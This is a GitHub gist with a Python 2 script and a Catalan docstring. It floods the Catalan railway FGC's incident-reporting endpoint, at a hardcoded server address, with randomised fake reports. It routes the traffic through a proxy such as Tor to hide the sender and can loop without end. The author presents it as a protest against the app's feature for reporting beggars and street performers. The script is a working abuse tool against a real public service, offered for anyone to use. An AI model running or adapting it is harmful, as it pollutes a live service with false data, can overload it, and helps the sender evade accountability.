Created
August 10, 2012 20:04
-
-
Save anonymous/3317427 to your computer and use it in GitHub Desktop.
FGC Fake Report Sender
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
FGC Fake Report Sender | |
Els Ferrocarrils de la Generalitat de Catalunya han ofert a través | |
de les seves applicacions per a dumbphone la possibilitat de reportar | |
a "indigents" i "pidolaires" tals com musics i venedors ambulants[1]. | |
Obviament, la seva aplicació pagada amb diners públics esta feta per un | |
grup d'autòmats. | |
Per aquest motiu el següent codi envia falses incidencies als serveis de | |
FGC. | |
De cara a protegir la vostra identitat nomes funciona utilitzant un proxy | |
intermediari, essent recomanat utilitzar tor[2]. Si no coneixes el que | |
es un proxy ni com executar el codi, comparteix-ho amb algu que creguis | |
que podra. | |
No es gran cosa ni disposo de temps per a realitzar res mes complexe, queda | |
aqui el codi al domini public per que es faci servir i modificar de la forma | |
que cadascu cregui convenient. | |
fgc.py --host 127.0.0.1 --port 8118 --requests 100 --sleep 100 | |
[1]: Noticies relacionades: | |
- http://bit.ly/NJabje Noticia | |
- http://chn.ge/S4xdUf Si no vols participar activament, sempre pots firmar (lol) | |
[2]: Configurar TOR com a proxy amb privoxy: | |
- https://wiki.archlinux.org/index.php/Tor | |
- https://wiki.archlinux.org/index.php/Privoxy | |
O_ -- SAY NO TO FASCISM!! | |
/ > | |
- > ^\ | |
/ > ^ / | |
(O) > ^ / / / / | |
_____ | \\|// | |
/ __ \ _/ / / _/ | |
/ / | | / / / / | |
_/ |___/ / _/ ------_/ / | |
==_| \____/ _/ / ______/ | |
\ \ __/ |\ | |
| \_ ____/ / \ _ | |
\ \________/ |\ \----/_V | |
\_ / \_______ V | |
\__ / \ / V | |
\ \ \ | |
\______ \_ \ | |
\__________\_ \ | |
/ / \_ | | |
| _/ \ | | |
/ _/ \ | | |
| / | | | |
\ \__ | \__ | |
/\____=\ /\_____=\ | |
""" | |
#/usr/bin/env python | |
import sys | |
import urllib,urllib2 | |
from optparse import OptionParser | |
import time | |
import random | |
SERVER="82.223.133.97" | |
METHOD="addDenunciaIncivisme.aspx" | |
def sendReport(opener, data): | |
return opener.open('http://{0}/{1}?{2}'.format(SERVER, METHOD, urllib.urlencode(data))) | |
def main(args): | |
parser = OptionParser() | |
parser.add_option("-x", "--host", | |
action="store", | |
dest="proxy_host", default="127.0.0.1", type="string", | |
help="proxy host to use", metavar="HOST") | |
parser.add_option("-p", "--port", | |
action="store", dest="proxy_port", default=8118, | |
help="port of the proxy host", metavar="PORT") | |
parser.add_option("-n", "--requests", | |
action="store", dest="requests", default=1, type="int", | |
help="Number of requests to do. 0 means infinite ;)") | |
parser.add_option("-s", "--sleep", | |
action="store", dest="sleep", default=100, type="int", | |
help="Sleep for a while between requests in milliseconds") | |
(options, args) = parser.parse_args() | |
proxy_handler = urllib2.ProxyHandler({"http":"%s:%d" % (options.proxy_host, options.proxy_port)}) | |
opener = urllib2.build_opener(proxy_handler) | |
i=0 | |
while options.requests == 0 or i < options.requests: | |
params={ | |
'linia': random.randint(1,40), | |
'estacio_inici': random.randint(1,40), | |
'estacio_fi': random.randint(1,40), | |
'usuari': random.randint(1,9999), | |
'tipo_alerta': 11, | |
'latitud': '9999', | |
'longitud': '9999', | |
'fecha': '201208101918', | |
'tipo_captaire': 'Politic', | |
'detall_altres': 'l33t', | |
'num_vago': random.randint(1,40) | |
} | |
sys.stdout.flush() | |
sys.stdout.write('\rEnviant avis d\'incivisme politic :) %d/%d' % (i, options.requests)) | |
sys.stdout.flush() | |
time.sleep(options.sleep/1000.0) | |
try: | |
response = sendReport(opener, params) | |
except Exception: | |
print "\nError de conexio, potser el proxy no esta configurat?" | |
exit(0) | |
i=i+1 | |
if __name__ == "__main__" : | |
main(sys.argv[1:]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment